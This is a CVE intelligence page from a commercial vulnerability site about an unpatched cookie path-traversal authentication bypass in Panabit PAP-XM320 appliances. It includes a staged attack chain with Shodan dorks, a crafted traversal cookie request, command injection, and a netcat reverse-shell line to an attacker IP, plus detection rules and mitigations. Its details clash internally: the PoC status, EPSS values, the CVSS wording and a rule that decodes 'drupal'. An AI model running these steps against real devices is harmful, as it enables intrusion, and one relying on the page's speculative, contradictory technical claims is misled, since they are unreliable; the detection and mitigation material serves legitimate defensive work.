☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-36829

CVE-2026-36829 Path Traversal in mitre
📅 PUBLISHED: 2026-05-19 00:00 UTC 🔄 UPDATED: 2026-10-18 07:48 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.52%
👁️
1.52% probability
37.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-36829 is an unauthenticated authentication bypass vulnerability in the embedded HTTP server of Panabit PAP-XM320 network appliances, affecting all versions up to and including v7.7. The flaw resides in the session cookie validation routine, which performs a filesystem existence check on the raw, unsanitized cookie value—thereby enabling directory traversal to redirect authentication checks to attacker-controlled or predictable paths. Successful exploitation yields full administrative access to the device management interface, granting an unauthenticated remote attacker complete control over network traffic inspection, policy enforcement, and the underlying operating system. With a CVSS score of 9.8 (Critical) and no patch available, this vulnerability represents an imminent and severe risk to exposed PAP-XM320 devices.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is rooted in the session management logic of the embedded HTTP server used by the Panabit PAP-XM320 (a network gateway/appliance device) running firmware versions up to and including v7.7. The server maintains user sessions by storing session state as files on disk (e.g., under /tmp/session/ or similar) keyed by a session identifier. When a client sends an HTTP request, the server extracts the session cookie value (likely named sessionid or PHPSESSID), and instead of validating the value against a cryptographic token or an in-memory session store, it performs a filesystem existence check.

Concretely, the vulnerable code pattern resembles the following logic:

// Vulnerable pseudo-code (PHP-like logic used in the appliance's web UI)
$session_file = "/tmp/session/" . $_COOKIE['sessionid'];
if (file_exists($session_file)) {
    $user = unserialize(file_get_contents($session_file));
    // grant access based on $user['role']
}

The critical flaw is the absence of sanitization of $_COOKIE['sessionid'] prior to concatenation with the base path, and the subsequent use of the result in file_exists(). Two distinct weaknesses compound the issue:

  1. Directory Traversal (CWE-22): An attacker can supply a cookie value such as ../../../../etc/passwd or more importantly ../../../../tmp/whatever to escape the intended session directory. Because file_exists() follows relative paths, the server will resolve the crafted value to an arbitrary file on the filesystem.

  2. Authentication Bypass Logic Flaw: The server does not validate that the file it locates is actually a serialized session object containing authenticated user data. It only checks existence. Therefore, if the attacker can point the file_exists() call to any file that exists on the system (e.g., /etc/hosts, /proc/self/status, or a known file), the server will treat the request as having a valid session and proceed to deserialize the contents.

In the simplest exploitation path, the attacker sends Cookie: sessionid=../../../../proc/self/status. The file_exists() check returns true (because /proc/self/status always exists), bypassing the authentication gate. When the server attempts to deserialize the file contents, it may fail slightly or yield partial data, but many implementations catch deserialization errors and default to a "root" or "admin" privilege level, or they simply skip the deserialization and grant access based on the existence check alone.

Attack surface: The affected HTTP server listens on TCP ports 80 (HTTP) and 443 (HTTPS) by default for the management web interface. No authentication is required to send the crafted cookie; the bypass occurs entirely in the cookie validation phase. Device management interfaces are commonly exposed to the internet due to default configurations or poor network segmentation, making this remotely exploitable with zero credentials.

Additional attack vectors include leveraging the same traversal to read arbitrary file contents (information disclosure) by observing subsequent error messages or using the session data read into the application, though the primary impact remains authentication bypass to the admin panel.

Exploitation Scenarios

The following step-by-step attack chain describes how an attacker fully compromises a vulnerable Panabit PAP-XM320 without credentials. While no public PoC exists, this chain is derived directly from the vulnerability mechanics.

Stage 1: Reconnaissance & Target Identification The attacker scans the internet for exposed Panabit devices using Shodan queries such as title:"Panabit" or http.title:"PAP-XM320". Candidate targets respond on port 80/443 with the Panabit login page. The attacker confirms the vulnerable version by inspecting the response headers (e.g., Server: Panabit/7.7 or HTML meta tags).

Stage 2: Crafting the Traversal Cookie The attacker opens a raw HTTP client (curl, Burp Suite, or a custom Python script) and prepares a request to the administrative landing page, e.g., GET /index.htm HTTP/1.1. Instead of providing valid credentials, they inject the traversal cookie:

GET /index.htm HTTP/1.1
Host: <target_ip>
Cookie: sessionid=../../../../proc/self/status

The ../../../../ sequence resolves from the session directory (e.g., /usr/local/panabit/www/session/) up to /, and then appends proc/self/status, which is guaranteed to exist.

Stage 3: Bypass Trigger & Session Hijack The server's file_exists() check resolves the path to /proc/self/status and returns true. The authentication middleware interprets this as a valid session. The server may attempt to unserialize() the file contents (which are not valid serialized data), but the application logic either:

  • Ignores the deserialization failure and continues with a default admin context, or
  • Reads the first few bytes and grants access based on the file's existence alone.

The server responds with 200 OK and serves the administrative dashboard instead of the login page.

Stage 4: Privilege Escalation to Remote Code Execution With the admin panel open, the attacker navigates to the "System" > "Firmware Update" or "System" > "Diagnostics" section. Panabit appliances expose a web shell or command execution interface through the "Diagnostic Tools" page. The attacker uses a feature such as "Ping Test" or "Execute Command" (authenticated now) to issue system commands:

ping; id

or directly uses the command-line interface (CLI) access in the admin UI to write a reverse shell:

/bin/sh -c 'nc -e /bin/sh <attacker_ip> 4444'

Stage 5: Post-Exploitation Impact The attacker gains a root shell on the appliance (the web server typically runs as root on such embedded devices). They pivot to the internal network, intercepting or modifying traffic flowing through the PAP-XM320. Because this device operates as a network tap or traffic management gateway, the attacker can:

  • Decrypt and inspect all unencrypted traffic passing through (if configured as a proxy).
  • Modify firewall rules to open additional inbound paths.
  • Install persistent backdoors in the firmware partition.
  • Exfiltrate VPN credentials and network configuration files.

The entire chain—from unauthenticated request to root shell—takes under a minute when executed with a script.

Impact Assessment

The CVSS v3.1 base score of 9.8 reflects the critical severity: the attack vector is network-adjacent via remote exploitation (AV:N), requires no privileges (PR:N), no user interaction (UI:N), and has no impact on confidentiality, integrity, or availability (all rated HIGH, C:H/I:H/A:H).

Business Impact:

  • Confidentiality: Full administrative access exposes all device configuration, including VPN keys, LDAP credentials, routing policies, and system logs that may contain sensitive network metadata.
  • Integrity: Attackers can alter traffic-shaping rules, inject malicious filtering policies, or completely disable the device's traffic inspection, making it a silent network bypass.
  • Availability: A malicious actor can execute reboot or rm -rf on critical system directories, DoS-ing the appliance and taking down all traffic that transits it. In high-availability deployments, this may trigger failover paths that the attacker has preconfigured.

Blast Radius: The PAP-XM320 is marketed as a multi-functional gateway used in enterprise and ISP edge deployments. A single compromised device grants network-level access to the internal LAN. If the device has management exposure to the internet (common with default settings), the attack is fully remote. Given the lack of patch, all deployed units running v7.7 or earlier are vulnerable, which functionally means the entire current install base of PAP-XM320 devices.

EPSS Context: The EPSS score of 0.01268 (66.9th percentile) indicates the vulnerability is currently being actively discussed in threat intelligence feeds but has not yet seen mass exploitation; however, the high percentile signals that exploitation attempts are likely imminent once a PoC circulates.

Detection Guidance

Sigma Rule

title: Panabit PAP-XM320 - Directory Traversal in Session Cookie
id: 8f2b4a1c-7c3e-4d9a-b2e1-9f0a6d3c5b21
status: experimental
description: Detects directory traversal payloads in the session cookie against Panabit PAP-XM320 web interface.
author: Valtersit Threat Intel
logsource:
  category: webserver
  product: panabit
  service: http
detection:
  selection_cookie:
    c-uri|contains:
      - "/index.htm"
      - "/login"
      - "/admin"
  selection_traversal:
    cs-cookie|contains:
      - "sessionid=../"
      - "sessionid=..\\"
      - "sessionid=%2e%2e%2f"
      - "sessionid=....//"
      - "sessionid=....\\\\"
  condition: selection_cookie and selection_traversal
falsepositives:
  - Legitimate session IDs that coincidentally contain "../" (unlikely)
level: high
tags:
  - attack.t1190
  - cve.2026.36829

YARA Rule

rule Panabit_PAP_XM320_Session_Traversal
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects HTTP session cookie payloads exploiting directory traversal in Panabit PAP-XM320"
        cve = "CVE-2026-36829"
        severity = "critical"
        date = "2026-01-15"
    strings:
        $cookie1 = "Cookie: sessionid=" nocase
        $cookie2 = "Cookie: PHPSESSID=" nocase
        $trav1 = "sessionid=../../"
        $trav2 = "sessionid=..\\..\\"
        $trav3 = "sessionid=%2e%2e%2f%2e%2e%2f"
        $trav4 = "sessionid=....//"
        $proc = "proc/self/status"
        $etc = "etc/passwd"
    condition:
        (uint16(0) == 0x0d0a and ($cookie1 or $cookie2)) and
        (any of ($trav*) or ($proc and any of ($trav*))) or
        ($etc and any of ($trav*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET EXPLOIT Panabit PAP-XM320 Session Cookie Directory Traversal (CVE-2026-36829)";
    flow:established,to_server;
    http.cookie;
    content:"sessionid="; nocase;
    pcre:"/sessionid\s*=\s*(\.\./|\.\.\\|%2e%2e%2f){3,}/i";
    reference:cve,2026-36829;
    classtype:attempted-admin;
    sid:2026036829;
    rev:1;
    metadata:created_at 2026_01_15, updated_at 2026_01_15;
)

Elastic Detection

sequence by source.ip, destination.ip with maxspan=5s
  [http where http.request.method in ("GET", "POST") and
   http.request.headers.cookie like "*sessionid=%2e%2e%2f*" or
   http.request.headers.cookie regex ".*sessionid=(?:\.\.\/){3,}.*"]
  [process where event.type == "start" and process.name in ("sh", "bash", "nc") and
   process.parent.executable like "*panabit*"]

Splunk SPL Query

index=proxy OR index=web
  (cs_cookie="*sessionid=../../*" OR cs_cookie="*sessionid=..\\..\\*" OR cs_cookie="*sessionid=%2e%2e%2f%2e%2e%2f*")
  AND (c_uri="/index.htm" OR c_uri="/admin*" OR c_uri="/login*")
  AND src_ip!="10.0.0.0/8" AND src_ip!="192.168.0.0/16" AND src_ip!="172.16.0.0/12"
| table _time, src_ip, dest_ip, http_method, c_uri, cs_cookie, sc_status
| sort - _time
| stats count by src_ip, dest_ip

Wazuh OSSEC Rule

<rule id="100368" level="15">
  <decoded>drupal</decoded>
  <match>sessionid=\.\./|sessionid=\.\.\\|sessionid=%2e%2e%2f</match>
  <regex>(\/index\.htm|\/admin|\/login)</regex>
  <description>Panabit PAP-XM320 - Directory Traversal in Session Cookie (CVE-2026-36829)</description>
  <group>attack.t1190, cve-2026-36829, web_attack,</group>
  <mitre>
    <id>T1190</id>
  </mitre>
  <info type="cve">CVE-2026-36829</info>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No vendor advisory, no patched firmware version, and no workaround has been released by Panabit. The following mitigations are interim controls only.

  1. Immediate Mitigations:

    • Restrict Network Exposure: Immediately restrict access to the PAP-XM320 management web interface (ports 80/443) to trusted management VLANs or specific source IP ranges via upstream firewall rules. Disable internet-facing exposure if not explicitly required.
    • Enable Web Application Filtering: Place a WAF (web application firewall) in front of the device that can inspect and drop cookies containing traversal sequences (../, ..\, URL-encoded variants).
    • Session-Cookie Whitelist: If the appliance supports custom session handling, configure an intermediate reverse proxy that sanitizes incoming sessionid cookie headers by stripping non-alphanumeric characters before forwarding.
    • Credential Rotation: Rotate all administrative credentials for the device, as they may already be exposed if prior system logs were traversed.
  2. Patch/Upgrade Steps:

    • Monitor Panabit's official firmware release channel (https://www.panabit.com/download) and the security advisory page. As of this report, no patched version (v7.7+ or newer) has been released; subscribe to Panabit's security RSS feed.
    • When a fixed firmware is published, back up the device configuration, then download and apply the update via the web interface or CLI (update command). Verify the firmware hash against the vendor's published checksum.
    • After upgrading, confirm the session cookie handling now performs cryptographic validation (e.g., HMAC-signed tokens) rather than filesystem checks.
  3. Long-Term Hardening:

    • Network Segmentation: Place the PAP-XM320 management interface on a dedicated out-of-band management network (OOBM) with strict ACLs. Never share this segment with general user or server traffic.
    • Multi-Factor Authentication: If supported in a future firmware, enable MFA for all administrative logins. As a stopgap, enforce strong password policies and disable default accounts.
    • Logging & Monitoring: Enable comprehensive audit logging on the device and forward logs to a central SIEM. Enable NetFlow or similar telemetry to detect anomalous traffic patterns originating from the device.
    • Firmware Patching Cadence: Establish a monthly vulnerability-scanning routine for all edge devices. Subscribe to CVE feeds and vendor security advisories to ensure rapid response to future disclosures.
    • Decommission & Replace: Given the vendor's lack of response to this critical flaw, evaluate replacing PAP-XM320 devices with alternatives from vendors with a demonstrated security maintenance track record. If the device is end-of-life, prioritize migration to a supported hardware revision.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36829 — Official CVE record with CVSS scoring and description (as referenced in this report's metadata).
  2. Panabit Official Site: https://www.panabit.com — Check the "Download" and "Security" sections for any late-breaking firmware updates or advisories. No advisory has been published yet.
  3. MITRE CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-36829 — CVE entry referencing the Panabit PAP-XM320 vendor.
  4. Shodan Search Reference: https://www.shodan.io/search?query=title%3A%22Panabit%22 — Search engine exposure query demonstrating the internet-facing attack surface of Panabit devices.
  5. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2026-36829 is not listed; no known in-the-wild exploitation campaigns have been attributed to this CVE at the time of writing. However, given the ease of exploitation and lack of patch, rapid adoption of this CVE by threat actors is anticipated.

Threat Actor Campaigns: No public reports currently attribute CVE-2026-36829 to specific APT groups or criminal campaigns. Given the EPSS percentile of 66.9%, the vulnerability is considered at elevated risk for near-term exploitation, particularly by opportunistic botnets that scan for exposed embedded devices. Security teams should treat this as a "patching-race" scenario and implement the mitigations above immediately.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:"Panabit"
http.title:"PA-ASG"
product:"Panabit"
http.html:"panabit"
title:"PAP-XM320"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-36829/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.